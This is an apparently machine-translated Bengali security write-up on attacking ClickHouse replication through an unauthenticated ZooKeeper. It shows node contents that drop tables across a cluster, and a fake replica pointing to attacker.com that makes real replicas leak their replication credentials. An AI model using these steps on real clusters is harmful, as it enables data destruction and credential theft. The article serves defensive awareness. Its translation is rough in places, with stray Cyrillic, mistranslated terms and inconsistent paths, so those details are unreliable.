āĻšāĻŋāĻĄāĻŧāĻŋāĻ¯āĻŧāĻžāĻ–āĻžāĻ¨āĻžāĻ° āĻ–āĻžāĻāĻšāĻž āĻŦāĻ¨ā§āĻ§ āĻ°āĻžāĻ–āĻ¤ā§‡ āĻšāĻŦā§‡ āĻ•ā§‡āĻ¨?

āĻšāĻŋāĻĄāĻŧāĻŋāĻ¯āĻŧāĻžāĻ–āĻžāĻ¨āĻžāĻ° āĻ–āĻžāĻāĻšāĻž āĻŦāĻ¨ā§āĻ§ āĻ°āĻžāĻ–āĻ¤ā§‡ āĻšāĻŦā§‡ āĻ•ā§‡āĻ¨?

āĻāĻ‡ āĻ¨āĻŋāĻŦāĻ¨ā§āĻ§āĻŸāĻŋ ClickHouse āĻ°ā§‡āĻĒā§āĻ˛āĻŋāĻ•ā§‡āĻļāĻ¨ āĻĒā§āĻ°ā§‹āĻŸā§‹āĻ•āĻ˛ā§‡āĻ° āĻāĻ•āĻŸāĻŋ āĻ–ā§āĻŦ āĻ¨āĻŋāĻ°ā§āĻĻāĻŋāĻˇā§āĻŸ āĻĻā§āĻ°ā§āĻŦāĻ˛āĻ¤āĻžāĻ° āĻ—āĻ˛ā§āĻĒ āĻŦāĻ˛āĻŦā§‡, āĻāĻŦāĻ‚ āĻāĻŸāĻŋāĻ“ āĻĻā§‡āĻ–āĻžāĻŦā§‡ āĻ•āĻŋāĻ­āĻžāĻŦā§‡ āĻ†āĻ•ā§āĻ°āĻŽāĻŖā§‡āĻ° āĻĒā§ƒāĻˇā§āĻ āĻ•ā§‡ āĻĒā§āĻ°āĻ¸āĻžāĻ°āĻŋāĻ¤ āĻ•āĻ°āĻž āĻ¯āĻžāĻ¯āĻŧāĨ¤

ClickHouse āĻšāĻ˛ āĻāĻ•āĻŸāĻŋ āĻĄāĻžāĻŸāĻžāĻŦā§‡āĻ¸ āĻ¯āĻž āĻĒā§āĻ°āĻšā§āĻ° āĻĒāĻ°āĻŋāĻŽāĻžāĻŖā§‡ āĻĄā§‡āĻŸāĻž āĻ¸āĻžā§āĻšāĻ¯āĻŧ āĻ•āĻ°ā§‡, āĻĒā§āĻ°āĻžāĻ¯āĻŧāĻļāĻ‡ āĻāĻ•āĻžāĻ§āĻŋāĻ• āĻĒā§āĻ°āĻ¤āĻŋāĻ°ā§‚āĻĒ āĻŦā§āĻ¯āĻŦāĻšāĻžāĻ° āĻ•āĻ°ā§‡āĨ¤ āĻ•ā§āĻ˛āĻŋāĻ•āĻšāĻžāĻ‰āĻ¸ā§‡ āĻ•ā§āĻ˛āĻžāĻ¸ā§āĻŸāĻžāĻ°āĻŋāĻ‚ āĻāĻŦāĻ‚ āĻĒā§āĻ°āĻ¤āĻŋāĻ˛āĻŋāĻĒāĻŋ āĻ‰āĻĒāĻ°ā§‡ āĻ¤ā§ˆāĻ°āĻŋ āĻ•āĻ°āĻž āĻšāĻ¯āĻŧā§‡āĻ›ā§‡ Apache ZooKeeper (ZK) āĻāĻŦāĻ‚ āĻ˛ā§‡āĻ–āĻžāĻ° āĻ…āĻ§āĻŋāĻ•āĻžāĻ° āĻĒā§āĻ°āĻ¯āĻŧā§‹āĻœāĻ¨āĨ¤

āĻĄāĻŋāĻĢāĻ˛ā§āĻŸ ZK āĻ‡āĻ¨āĻ¸ā§āĻŸāĻ˛ā§‡āĻļāĻ¨ā§‡āĻ° āĻœāĻ¨ā§āĻ¯ āĻĒā§āĻ°āĻŽāĻžāĻŖā§€āĻ•āĻ°āĻŖā§‡āĻ° āĻĒā§āĻ°āĻ¯āĻŧā§‹āĻœāĻ¨ āĻšāĻ¯āĻŧ āĻ¨āĻž, āĻ¤āĻžāĻ‡ āĻ•āĻžāĻĢāĻ•āĻž, āĻšāĻžāĻĻā§āĻĒ, āĻ•ā§āĻ˛āĻŋāĻ•āĻšāĻžāĻ‰āĻ¸ āĻ•āĻ¨āĻĢāĻŋāĻ—āĻžāĻ° āĻ•āĻ°āĻ¤ā§‡ āĻŦā§āĻ¯āĻŦāĻšā§ƒāĻ¤ āĻšāĻžāĻœāĻžāĻ° āĻšāĻžāĻœāĻžāĻ° ZK āĻ¸āĻžāĻ°ā§āĻ­āĻžāĻ° āĻ¸āĻ°ā§āĻŦāĻœāĻ¨ā§€āĻ¨āĻ­āĻžāĻŦā§‡ āĻ‰āĻĒāĻ˛āĻŦā§āĻ§āĨ¤

āĻ†āĻĒāĻ¨āĻžāĻ° āĻ†āĻ•ā§āĻ°āĻŽāĻŖā§‡āĻ° āĻĒā§ƒāĻˇā§āĻ āĻ•ā§‡ āĻ•āĻŽāĻžāĻ¤ā§‡, ZooKeeper āĻ‡āĻ¨āĻ¸ā§āĻŸāĻ˛ āĻ•āĻ°āĻžāĻ° āĻ¸āĻŽāĻ¯āĻŧ āĻ†āĻĒāĻ¨āĻžāĻ° āĻ¸āĻ°ā§āĻŦāĻĻāĻž āĻĒā§āĻ°āĻŽāĻžāĻŖā§€āĻ•āĻ°āĻŖ āĻāĻŦāĻ‚ āĻ…āĻ¨ā§āĻŽā§‹āĻĻāĻ¨ āĻ•āĻ¨āĻĢāĻŋāĻ—āĻžāĻ° āĻ•āĻ°āĻž āĻ‰āĻšāĻŋāĻ¤

āĻ…āĻŦāĻļā§āĻ¯āĻ‡ āĻ•āĻŋāĻ›ā§ 0āĻĻāĻŋāĻ¨ āĻ­āĻŋāĻ¤ā§āĻ¤āĻŋāĻ• āĻœāĻžāĻ­āĻž āĻĄāĻŋāĻ¸āĻŋāĻ°āĻŋāĻ¯āĻŧāĻžāĻ˛āĻžāĻ‡āĻœā§‡āĻļāĻ¨ āĻ†āĻ›ā§‡, āĻ•āĻŋāĻ¨ā§āĻ¤ā§ āĻ•āĻ˛ā§āĻĒāĻ¨āĻž āĻ•āĻ°ā§āĻ¨ āĻ¯ā§‡ āĻāĻ•āĻœāĻ¨ āĻ†āĻ•ā§āĻ°āĻŽāĻŖāĻ•āĻžāĻ°ā§€ ZooKeeper-āĻ āĻĒāĻĄāĻŧāĻ¤ā§‡ āĻāĻŦāĻ‚ āĻ˛āĻŋāĻ–āĻ¤ā§‡ āĻĒāĻžāĻ°ā§‡, āĻ•ā§āĻ˛āĻŋāĻ•āĻšāĻžāĻ‰āĻ¸ā§‡āĻ° āĻĒā§āĻ°āĻ¤āĻŋāĻ˛āĻŋāĻĒāĻŋāĻ° āĻœāĻ¨ā§āĻ¯ āĻŦā§āĻ¯āĻŦāĻšā§ƒāĻ¤ āĻšāĻ¯āĻŧāĨ¤

āĻ•ā§āĻ˛āĻžāĻ¸ā§āĻŸāĻžāĻ° āĻŽā§‹āĻĄā§‡ āĻ•āĻ¨āĻĢāĻŋāĻ—āĻžāĻ° āĻ•āĻ°āĻž āĻšāĻ˛ā§‡, āĻ•ā§āĻ˛āĻŋāĻ• āĻšāĻžāĻ‰āĻ¸ āĻŦāĻŋāĻ¤āĻ°āĻŖ āĻ•āĻ°āĻž āĻĒā§āĻ°āĻļā§āĻ¨āĻ—ā§āĻ˛āĻŋāĻ•ā§‡ āĻ¸āĻŽāĻ°ā§āĻĨāĻ¨ āĻ•āĻ°ā§‡ DDL, ZK āĻāĻ° āĻŽāĻ§ā§āĻ¯ āĻĻāĻŋāĻ¯āĻŧā§‡ āĻ¯āĻžāĻ“āĻ¯āĻŧāĻž - āĻ¤āĻžāĻĻā§‡āĻ° āĻœāĻ¨ā§āĻ¯ āĻļā§€āĻŸā§‡ āĻ¨ā§‹āĻĄ āĻ¤ā§ˆāĻ°āĻŋ āĻ•āĻ°āĻž āĻšāĻ¯āĻŧ /clickhouse/task_queue/ddl.

āĻ‰āĻĻāĻžāĻšāĻ°āĻŖāĻ¸ā§āĻŦāĻ°ā§‚āĻĒ, āĻ†āĻĒāĻ¨āĻŋ āĻāĻ•āĻŸāĻŋ āĻ¨ā§‹āĻĄ āĻ¤ā§ˆāĻ°āĻŋ āĻ•āĻ°ā§āĻ¨ /clickhouse/task_queue/ddl/query-0001 āĻŦāĻŋāĻˇāĻ¯āĻŧāĻŦāĻ¸ā§āĻ¤ā§ āĻ¸āĻš:

version: 1
query: DROP TABLE xxx ON CLUSTER test;
hosts: ['host1:9000', 'host2:9000']

āĻāĻŦāĻ‚ āĻāĻ° āĻĒāĻ°ā§‡, āĻ•ā§āĻ˛āĻžāĻ¸ā§āĻŸāĻžāĻ° āĻ¸āĻžāĻ°ā§āĻ­āĻžāĻ° host1 āĻāĻŦāĻ‚ host2 āĻĨā§‡āĻ•ā§‡ āĻĒāĻ°ā§€āĻ•ā§āĻˇāĻžāĻ° āĻŸā§‡āĻŦāĻŋāĻ˛āĻŸāĻŋ āĻŽā§āĻ›ā§‡ āĻĢā§‡āĻ˛āĻž āĻšāĻŦā§‡āĨ¤ DDL āĻ•ā§āĻ°āĻŋāĻ¯āĻŧā§‡āĻŸ/āĻ†āĻ˛ā§āĻŸāĻžāĻ°/āĻĄā§āĻ°āĻĒ āĻ•ā§‹āĻ¯āĻŧā§‡āĻ°āĻŋ āĻšāĻžāĻ˛āĻžāĻ¨ā§‹ āĻ¸āĻŽāĻ°ā§āĻĨāĻ¨ āĻ•āĻ°ā§‡āĨ¤

āĻ­ā§€āĻ¤āĻŋāĻ•āĻ° āĻļāĻŦā§āĻĻ? āĻ•āĻŋāĻ¨ā§āĻ¤ā§ āĻāĻ•āĻœāĻ¨ āĻ†āĻ•ā§āĻ°āĻŽāĻŖāĻ•āĻžāĻ°ā§€ āĻ¸āĻžāĻ°ā§āĻ­āĻžāĻ°ā§‡āĻ° āĻ āĻŋāĻ•āĻžāĻ¨āĻž āĻ•ā§‹āĻĨāĻžāĻ¯āĻŧ āĻĒā§‡āĻ¤ā§‡ āĻĒāĻžāĻ°ā§‡?

āĻ•ā§āĻ˛āĻŋāĻ• āĻšāĻžāĻ‰āĻ¸ āĻĒā§āĻ°āĻ¤āĻŋāĻ˛āĻŋāĻĒāĻŋ āĻĒā§ƒāĻĨāĻ• āĻŸā§‡āĻŦāĻŋāĻ˛ā§‡āĻ° āĻ¸ā§āĻ¤āĻ°ā§‡ āĻ•āĻžāĻœ āĻ•āĻ°ā§‡, āĻ¯āĻžāĻ¤ā§‡ ZK-āĻ¤ā§‡ āĻāĻ•āĻŸāĻŋ āĻŸā§‡āĻŦāĻŋāĻ˛ āĻ¤ā§ˆāĻ°āĻŋ āĻ•āĻ°āĻž āĻšāĻ˛ā§‡, āĻāĻ•āĻŸāĻŋ āĻ¸āĻžāĻ°ā§āĻ­āĻžāĻ° āĻ¨āĻŋāĻ°ā§āĻĻāĻŋāĻˇā§āĻŸ āĻ•āĻ°āĻž āĻšāĻ¯āĻŧ āĻ¯āĻž āĻĒā§āĻ°āĻ¤āĻŋāĻ˛āĻŋāĻĒāĻŋāĻ—ā§āĻ˛āĻŋāĻ° āĻ¸āĻžāĻĨā§‡ āĻŽā§‡āĻŸāĻžāĻĄā§‡āĻŸāĻž āĻŦāĻŋāĻ¨āĻŋāĻŽāĻ¯āĻŧā§‡āĻ° āĻœāĻ¨ā§āĻ¯ āĻĻāĻžāĻ¯āĻŧā§€ āĻšāĻŦā§‡ā§ˇ āĻ‰āĻĻāĻžāĻšāĻ°āĻŖāĻ¸ā§āĻŦāĻ°ā§‚āĻĒ, āĻāĻ•āĻŸāĻŋ āĻ…āĻ¨ā§āĻ°ā§‹āĻ§ āĻ•āĻžāĻ°ā§āĻ¯āĻ•āĻ° āĻ•āĻ°āĻžāĻ° āĻ¸āĻŽāĻ¯āĻŧ (ZK āĻ•āĻ¨āĻĢāĻŋāĻ—āĻžāĻ° āĻ•āĻ°āĻž āĻ†āĻŦāĻļā§āĻ¯āĻ•, chXX - āĻĒā§āĻ°āĻ¤āĻŋāĻ°ā§‚āĻĒā§‡āĻ° āĻ¨āĻžāĻŽ, foobar - āĻŸā§‡āĻŦāĻŋāĻ˛ā§‡āĻ° āĻ¨āĻžāĻŽ):

CREATE TABLE foobar
(
    `action_id` UInt32 DEFAULT toUInt32(0),
    `status` String
)
ENGINE=ReplicatedMergeTree(
'/clickhouse/tables/01-01/foobar/', 'chXX')
ORDER BY action_id;

āĻ¨ā§‹āĻĄ āĻ¤ā§ˆāĻ°āĻŋ āĻ•āĻ°āĻž āĻšāĻŦā§‡ āĻ•āĻ˛āĻžāĻŽ и āĻŽā§‡āĻŸāĻžāĻĄāĻžāĻŸāĻž.

āĻ¸āĻžāĻŽāĻ—ā§āĻ°ā§€ /clickhouse/tables/01/foobar/replicas/chXX/hosts:

host: chXX-address
port: 9009
tcp_port: 9000
database: default
table: foobar
scheme: http

āĻāĻ‡ āĻ•ā§āĻ˛āĻžāĻ¸ā§āĻŸāĻžāĻ° āĻĨā§‡āĻ•ā§‡ āĻĄā§‡āĻŸāĻž āĻŽāĻžāĻ°ā§āĻœ āĻ•āĻ°āĻž āĻ•āĻŋ āĻ¸āĻŽā§āĻ­āĻŦ? āĻšā§āĻ¯āĻžāĻ, āĻ¯āĻĻāĻŋ āĻĒā§āĻ°āĻ¤āĻŋāĻ˛āĻŋāĻĒāĻŋ āĻĒā§‹āĻ°ā§āĻŸ (TCP/9009) āĻ¸āĻžāĻ°ā§āĻ­āĻžāĻ°ā§‡ chXX-address āĻĢāĻžāĻ¯āĻŧāĻžāĻ°āĻ“āĻ¯āĻŧāĻžāĻ˛ āĻŦāĻ¨ā§āĻ§ āĻ•āĻ°āĻž āĻšāĻŦā§‡ āĻ¨āĻž āĻāĻŦāĻ‚ āĻĒā§āĻ°āĻ¤āĻŋāĻ˛āĻŋāĻĒāĻŋāĻ° āĻœāĻ¨ā§āĻ¯ āĻĒā§āĻ°āĻŽāĻžāĻŖā§€āĻ•āĻ°āĻŖ āĻ•āĻ¨āĻĢāĻŋāĻ—āĻžāĻ° āĻ•āĻ°āĻž āĻšāĻŦā§‡ āĻ¨āĻžāĨ¤ āĻĒā§āĻ°āĻŽāĻžāĻŖā§€āĻ•āĻ°āĻŖ āĻŦāĻžāĻ‡āĻĒāĻžāĻ¸ āĻ•āĻŋāĻ­āĻžāĻŦā§‡?

āĻāĻ•āĻœāĻ¨ āĻ†āĻ•ā§āĻ°āĻŽāĻŖāĻ•āĻžāĻ°ā§€ āĻļā§āĻ§ā§āĻŽāĻžāĻ¤ā§āĻ° āĻŦāĻŋāĻˇāĻ¯āĻŧāĻŦāĻ¸ā§āĻ¤ā§ āĻ…āĻ¨ā§āĻ˛āĻŋāĻĒāĻŋ āĻ•āĻ°ā§‡ ZK-āĻ āĻāĻ•āĻŸāĻŋ āĻ¨āĻ¤ā§āĻ¨ āĻĒā§āĻ°āĻ¤āĻŋāĻ°ā§‚āĻĒ āĻ¤ā§ˆāĻ°āĻŋ āĻ•āĻ°āĻ¤ā§‡ āĻĒāĻžāĻ°ā§‡ /clickhouse/tables/01-01/foobar/replicas/chXX āĻāĻŦāĻ‚ āĻ…āĻ°ā§āĻĨ āĻĒāĻ°āĻŋāĻŦāĻ°ā§āĻ¤āĻ¨ host.

āĻ¸āĻžāĻŽāĻ—ā§āĻ°ā§€ /clickhouse/tables/01–01/foobar/replicas/attacker/host:

host: attacker.com
port: 9009
tcp_port: 9000
database: default
table: foobar
scheme: http

āĻ¤āĻžāĻ°āĻĒāĻ°ā§‡ āĻ†āĻĒāĻ¨āĻžāĻ•ā§‡ āĻ…āĻ¨ā§āĻ¯āĻžāĻ¨ā§āĻ¯ āĻĒā§āĻ°āĻ¤āĻŋāĻ˛āĻŋāĻĒāĻŋāĻ—ā§āĻ˛āĻŋāĻ•ā§‡ āĻŦāĻ˛āĻ¤ā§‡ āĻšāĻŦā§‡ āĻ¯ā§‡ āĻ†āĻ•ā§āĻ°āĻŽāĻŖāĻ•āĻžāĻ°ā§€āĻ° āĻ¸āĻžāĻ°ā§āĻ­āĻžāĻ°ā§‡ āĻĄā§‡āĻŸāĻžāĻ° āĻāĻ•āĻŸāĻŋ āĻ¨āĻ¤ā§āĻ¨ āĻŦā§āĻ˛āĻ• āĻ°āĻ¯āĻŧā§‡āĻ›ā§‡ āĻ¯āĻž āĻ¤āĻžāĻĻā§‡āĻ° āĻ¨āĻŋāĻ¤ā§‡ āĻšāĻŦā§‡ - ZK āĻ āĻāĻ•āĻŸāĻŋ āĻ¨ā§‹āĻĄ āĻ¤ā§ˆāĻ°āĻŋ āĻ•āĻ°āĻž āĻšāĻ¯āĻŧā§‡āĻ›ā§‡ /clickhouse/tables/01-01/foobar/log/log-00000000XX (XX āĻāĻ•āĻ˜ā§‡āĻ¯āĻŧā§‡ āĻ•ā§āĻ°āĻŽāĻŦāĻ°ā§āĻ§āĻŽāĻžāĻ¨ āĻ•āĻžāĻ‰āĻ¨ā§āĻŸāĻžāĻ°, āĻ¯āĻž āĻ‡āĻ­ā§‡āĻ¨ā§āĻŸ āĻ˛āĻ—ā§‡āĻ° āĻļā§‡āĻˇā§‡āĻ° āĻšā§‡āĻ¯āĻŧā§‡ āĻŦāĻĄāĻŧ āĻšāĻ“āĻ¯āĻŧāĻž āĻ‰āĻšāĻŋāĻ¤):

format version: 4
create_time: 2019-07-31 09:37:42
source replica: attacker
block_id: all_7192349136365807998_13893666115934954449
get
all_0_0_2

āĻ¯ā§‡āĻ–āĻžāĻ¨ā§‡ āĻ‰ā§ŽāĻ¸_āĻĒā§āĻ°āĻ¤āĻŋāĻ˛āĻŋāĻĒāĻŋ - āĻ†āĻ—ā§‡āĻ° āĻ§āĻžāĻĒā§‡ āĻ¤ā§ˆāĻ°āĻŋ āĻ•āĻ°āĻž āĻ†āĻ•ā§āĻ°āĻŽāĻŖāĻ•āĻžāĻ°ā§€āĻ° āĻĒā§āĻ°āĻ¤āĻŋāĻ°ā§‚āĻĒā§‡āĻ° āĻ¨āĻžāĻŽ, āĻŦā§āĻ˛āĻ•_āĻ†āĻ‡āĻĄāĻŋ - āĻĄā§‡āĻŸāĻž āĻŦā§āĻ˛āĻ• āĻļāĻ¨āĻžāĻ•ā§āĻ¤āĻ•āĻžāĻ°ā§€, āĻĒāĻžāĻ“āĻ¯āĻŧāĻž - "āĻŦā§āĻ˛āĻ• āĻĒāĻžāĻ¨" āĻ•āĻŽāĻžāĻ¨ā§āĻĄ (āĻāĻŦāĻ‚ āĻāĻ–āĻžāĻ¨ā§‡ āĻ…āĻ¨ā§āĻ¯āĻžāĻ¨ā§āĻ¯ āĻ…āĻĒāĻžāĻ°ā§‡āĻļāĻ¨ āĻœāĻ¨ā§āĻ¯ āĻ•āĻŽāĻžāĻ¨ā§āĻĄ āĻ†āĻ›ā§‡).

āĻāĻ° āĻĒāĻ°ā§‡, āĻĒā§āĻ°āĻ¤āĻŋāĻŸāĻŋ āĻĒā§āĻ°āĻ¤āĻŋāĻ˛āĻŋāĻĒāĻŋ āĻ˛āĻ—ā§‡ āĻāĻ•āĻŸāĻŋ āĻ¨āĻ¤ā§āĻ¨ āĻ‡āĻ­ā§‡āĻ¨ā§āĻŸ āĻĒāĻĄāĻŧā§‡ āĻāĻŦāĻ‚ āĻ†āĻ•ā§āĻ°āĻŽāĻŖāĻ•āĻžāĻ°ā§€āĻ° āĻĻā§āĻŦāĻžāĻ°āĻž āĻ¨āĻŋāĻ¯āĻŧāĻ¨ā§āĻ¤ā§āĻ°āĻŋāĻ¤ āĻāĻ•āĻŸāĻŋ āĻ¸āĻžāĻ°ā§āĻ­āĻžāĻ°ā§‡ āĻ—āĻŋāĻ¯āĻŧā§‡ āĻĄā§‡āĻŸāĻžāĻ° āĻāĻ•āĻŸāĻŋ āĻŦā§āĻ˛āĻ• āĻ—ā§āĻ°āĻšāĻŖ āĻ•āĻ°ā§‡ (āĻĒā§āĻ°āĻ¤āĻŋāĻ˛āĻŋāĻĒāĻŋ āĻĒā§āĻ°ā§‹āĻŸā§‹āĻ•āĻ˛āĻŸāĻŋ āĻŦāĻžāĻ‡āĻ¨āĻžāĻ°āĻŋ, HTTP-āĻāĻ° āĻ‰āĻĒāĻ°ā§‡ āĻšāĻ˛āĻ›ā§‡)āĨ¤ āĻ¸āĻžāĻ°ā§āĻ­āĻžāĻ° attacker.com āĻ…āĻ¨ā§āĻ°ā§‹āĻ§ āĻĒāĻžāĻŦā§‡āĻ¨:

POST /?endpoint=DataPartsExchange:/clickhouse/tables/01-01/default/foobar/replicas/chXX&part=all_0_0_2&compress=false HTTP/1.1
Host: attacker.com
Authorization: XXX

āĻ¯ā§‡āĻ–āĻžāĻ¨ā§‡ XXX āĻšāĻ˛ āĻĒā§āĻ°āĻ¤āĻŋāĻ˛āĻŋāĻĒāĻŋāĻ° āĻœāĻ¨ā§āĻ¯ āĻĒā§āĻ°āĻŽāĻžāĻŖā§€āĻ•āĻ°āĻŖ āĻĄā§‡āĻŸāĻžāĨ¤ āĻ•āĻŋāĻ›ā§ āĻ•ā§āĻˇā§‡āĻ¤ā§āĻ°ā§‡, āĻāĻŸāĻŋ āĻĒā§āĻ°āĻ§āĻžāĻ¨ ClickHouse āĻĒā§āĻ°ā§‹āĻŸā§‹āĻ•āĻ˛ āĻāĻŦāĻ‚ HTTP āĻĒā§āĻ°ā§‹āĻŸā§‹āĻ•āĻ˛ā§‡āĻ° āĻŽāĻžāĻ§ā§āĻ¯āĻŽā§‡ āĻĄāĻžāĻŸāĻžāĻŦā§‡āĻ¸ā§‡ āĻ…ā§āĻ¯āĻžāĻ•ā§āĻ¸ā§‡āĻ¸ āĻ¸āĻš āĻāĻ•āĻŸāĻŋ āĻ…ā§āĻ¯āĻžāĻ•āĻžāĻ‰āĻ¨ā§āĻŸ āĻšāĻ¤ā§‡ āĻĒāĻžāĻ°ā§‡āĨ¤ āĻ†āĻĒāĻ¨āĻŋ āĻ¯ā§‡āĻŽāĻ¨ āĻĻā§‡āĻ–ā§‡āĻ›ā§‡āĻ¨, āĻ†āĻ•ā§āĻ°āĻŽāĻŖā§‡āĻ° āĻĒā§ƒāĻˇā§āĻ āĻŸāĻŋ āĻ¸āĻŽāĻžāĻ˛ā§‹āĻšāĻ¨āĻžāĻŽā§‚āĻ˛āĻ•āĻ­āĻžāĻŦā§‡ āĻŦāĻĄāĻŧ āĻšāĻ¯āĻŧā§‡ āĻ‰āĻ ā§‡āĻ›ā§‡ āĻ•āĻžāĻ°āĻŖ āĻĒā§āĻ°āĻ¤āĻŋāĻ˛āĻŋāĻĒāĻŋāĻ° āĻœāĻ¨ā§āĻ¯ āĻŦā§āĻ¯āĻŦāĻšā§ƒāĻ¤ ZooKeeper, āĻĒā§āĻ°āĻŽāĻžāĻŖā§€āĻ•āĻ°āĻŖ āĻ•āĻ¨āĻĢāĻŋāĻ—āĻžāĻ° āĻ•āĻ°āĻž āĻ›āĻžāĻĄāĻŧāĻžāĻ‡ āĻ°ā§‡āĻ–ā§‡ āĻĻā§‡āĻ“āĻ¯āĻŧāĻž āĻšāĻ¯āĻŧā§‡āĻ›āĻŋāĻ˛āĨ¤

āĻ†āĻ¸ā§āĻ¨ āĻāĻ•āĻŸāĻŋ āĻĒā§āĻ°āĻ¤āĻŋāĻ˛āĻŋāĻĒāĻŋ āĻĨā§‡āĻ•ā§‡ āĻĄā§‡āĻŸāĻžāĻ° āĻŦā§āĻ˛āĻ• āĻĒāĻžāĻ“āĻ¯āĻŧāĻžāĻ° āĻĢāĻžāĻ‚āĻļāĻ¨āĻŸāĻŋ āĻĻā§‡āĻ–āĻŋ, āĻāĻŸāĻŋ āĻ¸āĻŽā§āĻĒā§‚āĻ°ā§āĻŖ āĻ†āĻ¤ā§āĻŽāĻŦāĻŋāĻļā§āĻŦāĻžāĻ¸ā§‡āĻ° āĻ¸āĻžāĻĨā§‡ āĻ˛ā§‡āĻ–āĻž āĻšāĻ¯āĻŧā§‡āĻ›ā§‡ āĻ¯ā§‡ āĻ¸āĻŽāĻ¸ā§āĻ¤ āĻĒā§āĻ°āĻ¤āĻŋāĻ˛āĻŋāĻĒāĻŋ āĻ¯āĻĨāĻžāĻ¯āĻĨ āĻ¨āĻŋāĻ¯āĻŧāĻ¨ā§āĻ¤ā§āĻ°āĻŖā§‡ āĻ°āĻ¯āĻŧā§‡āĻ›ā§‡ āĻāĻŦāĻ‚ āĻ¤āĻžāĻĻā§‡āĻ° āĻŽāĻ§ā§āĻ¯ā§‡ āĻŦāĻŋāĻļā§āĻŦāĻžāĻ¸ āĻ°āĻ¯āĻŧā§‡āĻ›ā§‡āĨ¤

āĻšāĻŋāĻĄāĻŧāĻŋāĻ¯āĻŧāĻžāĻ–āĻžāĻ¨āĻžāĻ° āĻ–āĻžāĻāĻšāĻž āĻŦāĻ¨ā§āĻ§ āĻ°āĻžāĻ–āĻ¤ā§‡ āĻšāĻŦā§‡ āĻ•ā§‡āĻ¨?
āĻĒā§āĻ°āĻ¤āĻŋāĻ˛āĻŋāĻĒāĻŋ āĻĒā§āĻ°āĻ•ā§āĻ°āĻŋāĻ¯āĻŧāĻžāĻ•āĻ°āĻŖ āĻ•ā§‹āĻĄ

āĻĢāĻžāĻ‚āĻļāĻ¨āĻŸāĻŋ āĻĢāĻžāĻ‡āĻ˛āĻ—ā§āĻ˛āĻŋāĻ° āĻāĻ•āĻŸāĻŋ āĻ¤āĻžāĻ˛āĻŋāĻ•āĻž āĻĒāĻĄāĻŧā§‡, āĻ¤āĻžāĻ°āĻĒāĻ°ā§‡ āĻ¤āĻžāĻĻā§‡āĻ° āĻ¨āĻžāĻŽ, āĻ†āĻ•āĻžāĻ°, āĻŦāĻŋāĻˇāĻ¯āĻŧāĻŦāĻ¸ā§āĻ¤ā§, āĻāĻŦāĻ‚ āĻ¤āĻžāĻ°āĻĒāĻ° āĻĢāĻžāĻ‡āĻ˛ āĻ¸āĻŋāĻ¸ā§āĻŸā§‡āĻŽā§‡ āĻ¸ā§‡āĻ—ā§āĻ˛āĻŋ āĻ˛āĻŋāĻ–ā§‡āĨ¤ āĻĢāĻžāĻ‡āĻ˛ āĻ¸āĻŋāĻ¸ā§āĻŸā§‡āĻŽā§‡ āĻĄā§‡āĻŸāĻž āĻ•ā§€āĻ­āĻžāĻŦā§‡ āĻ¸āĻ‚āĻ°āĻ•ā§āĻˇāĻŖ āĻ•āĻ°āĻž āĻšāĻ¯āĻŧ āĻ¤āĻž āĻ†āĻ˛āĻžāĻĻāĻžāĻ­āĻžāĻŦā§‡ āĻŦāĻ°ā§āĻŖāĻ¨āĻž āĻ•āĻ°āĻž āĻŽā§‚āĻ˛ā§āĻ¯āĻŦāĻžāĻ¨āĨ¤

āĻāĻ° āĻŽāĻ§ā§āĻ¯ā§‡ āĻŦā§‡āĻļ āĻ•āĻ¯āĻŧā§‡āĻ•āĻŸāĻŋ āĻ¸āĻžāĻŦāĻĄāĻŋāĻ°ā§‡āĻ•ā§āĻŸāĻ°āĻŋ āĻ°āĻ¯āĻŧā§‡āĻ›ā§‡ /var/lib/clickhouse (āĻ•āĻ¨āĻĢāĻŋāĻ—āĻžāĻ°ā§‡āĻļāĻ¨ āĻĢāĻžāĻ‡āĻ˛ āĻĨā§‡āĻ•ā§‡ āĻĄāĻŋāĻĢāĻ˛ā§āĻŸ āĻ¸ā§āĻŸā§‹āĻ°ā§‡āĻœ āĻĄāĻŋāĻ°ā§‡āĻ•ā§āĻŸāĻ°āĻŋ):

āĻĒāĻ¤āĻžāĻ•āĻž - āĻ°ā§‡āĻ•āĻ°ā§āĻĄāĻŋāĻ‚āĻ¯āĻŧā§‡āĻ° āĻœāĻ¨ā§āĻ¯ āĻĄāĻŋāĻ°ā§‡āĻ•ā§āĻŸāĻ°āĻŋ āĻĒāĻ¤āĻžāĻ•āĻž, āĻĄā§‡āĻŸāĻž āĻšāĻžāĻ°āĻžāĻ¨ā§‹āĻ° āĻĒāĻ°ā§‡ āĻĒā§āĻ¨āĻ°ā§āĻĻā§āĻ§āĻžāĻ°ā§‡āĻ° āĻœāĻ¨ā§āĻ¯ āĻŦā§āĻ¯āĻŦāĻšā§ƒāĻ¤ āĻšāĻ¯āĻŧ;
tmp, - āĻ…āĻ¸ā§āĻĨāĻžāĻ¯āĻŧā§€ āĻĢāĻžāĻ‡āĻ˛ āĻ¸āĻ‚āĻ°āĻ•ā§āĻˇāĻŖā§‡āĻ° āĻœāĻ¨ā§āĻ¯ āĻĄāĻŋāĻ°ā§‡āĻ•ā§āĻŸāĻ°āĻŋ;
āĻŦā§āĻ¯āĻŦāĻšāĻžāĻ°āĻ•āĻžāĻ°ā§€ āĻĢāĻžāĻ‡āĻ˛ — āĻ…āĻ¨ā§āĻ°ā§‹āĻ§ā§‡āĻ° āĻĢāĻžāĻ‡āĻ˛āĻ—ā§āĻ˛āĻŋāĻ° āĻ¸āĻžāĻĨā§‡ āĻ…āĻĒāĻžāĻ°ā§‡āĻļāĻ¨āĻ—ā§āĻ˛āĻŋ āĻāĻ‡ āĻĄāĻŋāĻ°ā§‡āĻ•ā§āĻŸāĻ°āĻŋāĻ¤ā§‡ āĻ¸ā§€āĻŽāĻžāĻŦāĻĻā§āĻ§ (INTO OUTFILE āĻāĻŦāĻ‚ āĻ…āĻ¨ā§āĻ¯āĻžāĻ¨ā§āĻ¯);
āĻŽā§‡āĻŸāĻžāĻĄāĻžāĻŸāĻž — āĻŸā§‡āĻŦāĻŋāĻ˛ āĻŦāĻ°ā§āĻŖāĻ¨āĻž āĻ¸āĻš sql āĻĢāĻžāĻ‡āĻ˛;
preprocessed_configs - āĻĨā§‡āĻ•ā§‡ āĻĒā§āĻ°āĻ¸ā§‡āĻ¸āĻĄ āĻĄā§‡āĻ°āĻŋāĻ­ā§‡āĻŸāĻŋāĻ­ āĻ•āĻ¨āĻĢāĻŋāĻ—āĻžāĻ°ā§‡āĻļāĻ¨ āĻĢāĻžāĻ‡āĻ˛ /etc/clickhouse-server;
